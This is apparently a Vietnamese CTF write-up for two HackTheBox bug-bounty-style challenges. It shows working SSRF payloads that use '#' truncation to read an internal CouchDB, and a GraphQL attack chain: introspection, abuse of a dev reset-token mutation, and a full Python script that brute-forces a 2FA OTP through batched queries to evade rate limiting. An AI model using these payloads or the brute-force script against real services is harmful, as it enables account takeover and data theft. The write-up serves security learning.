# Hack The System - Bug Bounty CTF **Lâu rồi không chơi CTF nhưng tiêu đề của giải cũng như các challenge đều lấy từ realworld và các report được accept bounty nên rất sát với những gì diễn ra khi mình thực hiện redteam hằng ngày nên mình quyết định writeup lại** ![image](https://hackmd.io/_uploads/Hybp10zrxx.png) --- # 1. CitiSmart ![image](https://hackmd.io/_uploads/HJX88PMrlx.png) ## Bug Report #1 - [Expose Hidden Endpoints](https://infosecwriteups.com/javascript-enumeration-for-bug-bounties-expose-hidden-endpoints-secrets-like-a-pro-418c2aec318f) - Như các cuộc redteam khác thì mình sẽ tìm các hidden api từ js files thông qua các api đã được gọi ![image](https://hackmd.io/_uploads/S1_58vGrlx.png) - Ta sẽ có được các api sau ![image](https://hackmd.io/_uploads/H1flPwzBlg.png) ```js let n={endpoints:{ me:"/api/auth/me", login:"/api/auth/login", logout:"/api/auth/logout", dashboard:"/api/dashboard/endpoints", dashboardDelete:"/api/dashboard/endpoints/", dashboardData:"/api/dashboard/metrics" } } ``` - Tất cả api đều trả về message: "cookie token is not found" ![image](https://hackmd.io/_uploads/HkUowvMrex.png) - Thêm `cookie: token=1` header và `GET` method đối với 2 api chính, ta nhận được các response như sau - `/api/dashboard/endpoints`: xử lý các endpoint ![image](https://hackmd.io/_uploads/Hk7tuPfBeg.png) - `/api/dashboard/metrics`: trả về response từ các endpoint đó ![image](https://hackmd.io/_uploads/SJWnODMSxg.png) - Tại api `/api/dashboard/endpoints`, sửa `GET` to `POST` method ![image](https://hackmd.io/_uploads/r1tVUOMHgg.png) - Các param cần là url, sector, thứ mà đã có sẵn ta dùng luôn ![image](https://hackmd.io/_uploads/rkspL_MSle.png) ## Bug Report #2 - [SSRF](https://cyberweapons.medium.com/internal-port-scanning-via-ssrf-eb248ae6fa7b) - Từ các response trả về, dễ dàng nhận thấy toàn bộ api có sẵn đều được gọi từ local và có thể tạo được với `POST` request -> SSRF - Ok, giờ ta sẽ gọi đến 2 url, 1 valid và 1 invalid ![image](https://hackmd.io/_uploads/ByddPdzHxe.png) ![image](https://hackmd.io/_uploads/Sk6dwufHex.png) - Dễ thấy được khác biệt trong response, ta tiến hành quét local để tìm ra các open port local ![image](https://hackmd.io/_uploads/S12POuMHlx.png) ![image](https://hackmd.io/_uploads/H1WTDdzSgl.png) - Các port mở là: ``` 80 HTTP Web servers, unencrypted websites 3000 Development servers Node.js, React, or custom web applications 5000 Flask, APIs Python Flask or other custom applications 5984 CouchDB vì nó sử dụng HTTP-based API mà NoSQL database with HTTP-based API 5986 WinRM Secure remote management for Windows systems ``` - Port 80 là con web ban đầu ![image](https://hackmd.io/_uploads/H167fKfSxg.png) - Ta sẽ tập trung vào CouchDB vì nó sử dụng HTTP-based API mà `/api/dashboard/endpoints` chỉ sử dụng được get request - Như response trả về là 404 vì mặc định request sẽ được nối thêm `/metrics` trên url (dùng burpcollab để xem request được tạo như nào) - Ta có thể bypass điều này bằng char `#` để loại bỏ hết phần thừa sau url as comment ![image](https://hackmd.io/_uploads/BkkIauGHgl.png) ![image](https://hackmd.io/_uploads/rJyr6dMSxx.png) - Ok vậy ta sẽ sử dụng `#` với api `/api/dashboard/endpoints`để add các local open port valid và xem response của nó bằng `/api/dashboard/metrics` ![image](https://hackmd.io/_uploads/BJM_AufBeg.png) ![image](https://hackmd.io/_uploads/H1hOC_fSge.png) - Sử dụng `CouchDB` với usages: https://docs.couchdb.org/en/stable/intro/tour.html - request ```json { "url": "http://127.0.0.1:5984/_all_dbs/#", "sector": "Business District" } ``` - response ```js { "Business District":"[\"citismart\"]" } ``` - request ```json { "url": "http://127.0.0.1:5984/citismart/#", "sector": "Business District" } ``` - response ```js { "Business District":"{\"db_name\":\"citismart\",\"purge_seq\":\"0-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXIwNDLXMwBCwxygFFMeC5BkOACk_v__fz8rkQGP2qQEIJlUD1SIXx3EzAcQM4lSuwCidj8xahsgaucTcKsDyK3xBO1PUgCpsyeoLpEhSR6iKAsAabRejg\",\"update_seq\":\"212-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXIwNDLXMwBCwxygFFMiQ5L8____sxIv4VGUpAAkk-zB6hjwqXMAqYsnrC4BpK4erI4Rj7o8FiDJ0ACkgErn4zcTonYBRO1-YtQegKi9T4zaBxC1IPdmAQBTuV9i\",\"sizes\":{\"file\":1803578,\"external\":3986,\"active\":124391},\"other\":{\"data_size\":3986},\"doc_del_count\":0,\"doc_count\":3,\"disk_size\":1803578,\"disk_format_version\":7,\"data_size\":124391,\"compact_running\":false,\"cluster\":{\"q\":8,\"n\":1,\"w\":1,\"r\":1},\"instance_start_time\":\"0\"}" } ``` - request ```json { "url": "http://127.0.0.1:5984/citismart/_all_docs#", "sector": "Business District" } ``` - response ```js { "Business District":"{\"total_rows\":3,\"offset\":0,\"rows\":[{\"id\":\"FLAG\",\"key\":\"FLAG\",\"value\":{\"rev\":\"1-e886956cd2d9218bac9a1ea9c7a23252\"}},{\"id\":\"monitoring_endpoints\",\"key\":\"monitoring_endpoints\",\"value\":{\"rev\":\"226-1264f4367f7494c5cd90c9efb8da3cae\"}},{\"id\":\"user:citismart_admin\",\"key\":\"user:citismart_admin\",\"value\":{\"rev\":\"1-aeef518bdf6aa63c527378c6f391e289\"}}]}" } ``` - request ```json { "url": "http://127.0.0.1:5984/citismart/FLAG#", "sector": "Business District" } ``` - response ```js { "Business District":"{\"_id\":\"FLAG\",\"_rev\":\"1-e886956cd2d9218bac9a1ea9c7a23252\",\"value\":\"HTB{sm4rt_cit1_but_n0t_s3cur3_e019e77a4148a2ac8a6156b8c09821b6}\"}" } ``` - Và lấy flag `HTB{sm4rt_cit1_but_n0t_s3cur3_e019e77a4148a2ac8a6156b8c09821b6}` # 2. SpeedNet ![image](https://hackmd.io/_uploads/B1iTR6fHeg.png) ![image](https://hackmd.io/_uploads/BkhCG0MBxx.png) ## Bug Report #1 - [Graphql Introspection](https://infosecwriteups.com/1000-bug-using-simple-graphql-introspection-query-b68da8260877) - Thực hiện login và thứ đập vào mắt là `/graphql` endpoint và mình nghĩ ngay đến `GraphQL introspection` query sẽ giúp xem được toàn bộ graphql api ![image](https://hackmd.io/_uploads/B1Di7AfBgx.png) - Payload mình lấy ở đây https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/GraphQL%20Injection ![image](https://hackmd.io/_uploads/B1tJECfHxe.png) - Đưa api url vào extention InQL và ta có được chi tiết các Graphql Api như sau ![image](https://hackmd.io/_uploads/H1QPrCfBel.png) ## Bug Report #2 - [Hacking Graphql Endpoints](https://inigo.io/blog/defeating_controls_with_alias-based_query_batching) - Thực hiện đăng ký và đăng nhập ![image](https://hackmd.io/_uploads/HkirURMSeg.png) - User của ta là user thứ 2, vậy việc cần làm là login đc user 1 với mail `admin@speednet.htb` ![image](https://hackmd.io/_uploads/H1G5LAMBeg.png) - Ta có chức năng forgot passwd nhưng token reset lại được gửi về mail ![image](https://hackmd.io/_uploads/HkZ0PAzBxg.png) - Quay lại các Mutations có thấy api gọi là `devForgotPassword` ![image](https://hackmd.io/_uploads/H1FS_0GSee.png) - Ngay lập tức token được trả về tại response body ![image](https://hackmd.io/_uploads/HyShuAGHxx.png) - Tiếp đến sử dụng `resetPassword` với token vừa lụm được ![image](https://hackmd.io/_uploads/SJNZYCzrle.png) - Thành công reset passwd của admin ![image](https://hackmd.io/_uploads/Bk-wtAzBll.png) - Nhưng account này đã enable 2fa và OTP được gửi về email ![image](https://hackmd.io/_uploads/SkBtYAMBlx.png) - Chưa thể đoán được dạng OTP nên ta sẽ sử dụng email site với mail là `test@email.htb` đã được dựng sẵn ![image](https://hackmd.io/_uploads/SkuCKRfBgg.png) - Thực hiện đăng ký account với mail đó và enable 2fa rồi nhận mail ![image](https://hackmd.io/_uploads/r11sq0free.png) - Vậy độ dài email có độ dài 4 ký tự chữ số và thời gian hết hạn là 5p - quá thừa để brute force đúng không? ![image](https://hackmd.io/_uploads/ByC1iRMrge.png) - Intruder otp ![image](https://hackmd.io/_uploads/BJM3s0zrgg.png) - WAF đã chặn gửi quá nhiều requet trong thời gian ngắn, vậy 5p là không đủ cho 10000 request ![image](https://hackmd.io/_uploads/HJsb30zSge.png) ## Bug Report #3 - [Graphql Batching](https://hackerone.com/reports/2166697) ## Bug Report #4 - [Alias-based Query Batching](https://inigo.io/blog/defeating_controls_with_alias-based_query_batching) - GraphQL alias cho phép sử dụng cùng 1 query operation nhiều lần ![image](https://hackmd.io/_uploads/By_x0RzHlg.png) - Nhưng vì request data size là có giới hạn nên ta sẽ cần chia nhỏ và delay giữa những lần gửi request. Ở đây mình giảm sức lao động bằng AI ```python3= import requests import time # Configuration burp0_url = "http://83.136.253.59:51698/graphql" burp0_headers = { "Authorization": "", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36", "Content-Type": "application/json", "Accept": "*/*", "Origin": "http://83.136.253.59:51698", "Referer": "http://83.136.253.59:51698/2fa", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "en-US,en;q=0.9", "Connection": "close" } # Token to use token = "661d4e58-53be-47e6-9097-48efb73c2648" def create_otp_requests(start, end): """Create a list of OTP requests for the given range""" requests_list = [] for i in range(start, end): otp = f"{i:04d}" request_data = { "query": "mutation VerifyTwoFactor($token: String!, $otp: String!) {\n verifyTwoFactor(token: $token, otp: $otp) {\n token\n user {\n id\n email\n firstName\n lastName\n address\n phoneNumber\n twoFactorAuthEnabled\n }\n }\n}", "variables": {"otp": otp, "token": token} } requests_list.append(request_data) return requests_list def send_batch_request(batch_data, batch_num): """Send a batch of 400 requests and check for token""" try: print(f"Sending batch {batch_num} with {len(batch_data)} requests...") resp = requests.post(burp0_url, headers=burp0_headers, json=batch_data, timeout=30) if "\"token\":\"ey" in resp.text: print(f"🎉 TOKEN FOUND in batch {batch_num}!") print(f"Response: {resp.text}") # Extract the token token_value = resp.text.split("\"token\":\"")[1].split("\"")[0] print(f"Token: {token_value}") return True else: print(f"Batch {batch_num} completed - no token found") return False except Exception as e: print(f"Error in batch {batch_num}: {e}") return False # Main execution print("🚀 Starting OTP brute force attack...") print(f"Target: {burp0_url}") print(f"Range: 0000-9999 (10000 codes)") print(f"Batch size: 400 requests per batch") print(f"Total batches: 25") print("-" * 50) # Process in batches of 400 batch_size = 200 total_codes = 10000 found = False for batch_num in range(1, 26): # 25 batches total (10000 / 400 = 25) if found: break start = (batch_num - 1) * batch_size end = min(start + batch_size, total_codes) print(f"\n📦 Preparing batch {batch_num} (OTP range: {start:04d}-{end-1:04d})") # Create batch requests batch_requests = create_otp_requests(start, end) # Send batch found = send_batch_request(batch_requests, batch_num) # Small delay between batches to avoid overwhelming the server if not found and batch_num < 25: print("⏳ Waiting 1 second before next batch...") time.sleep(3) if not found: print("\n❌ Attack completed - no valid token found") else: print("\n✅ Attack successful - token retrieved!") ``` - Kết quả thu được sẽ là jwt token của user admin ![image](https://hackmd.io/_uploads/B116yk7Bel.png) -Truy cập admin và đi dạo ta sễ thấy flag tại `http://83.136.253.59:51698/billing` ![image](https://hackmd.io/_uploads/B1vVg1mSxx.png) - Flag `HTB{gr4phql_3xpl01t_1n_a_nutsh3ll_90a867b92f638e8645745cd19d99998c}`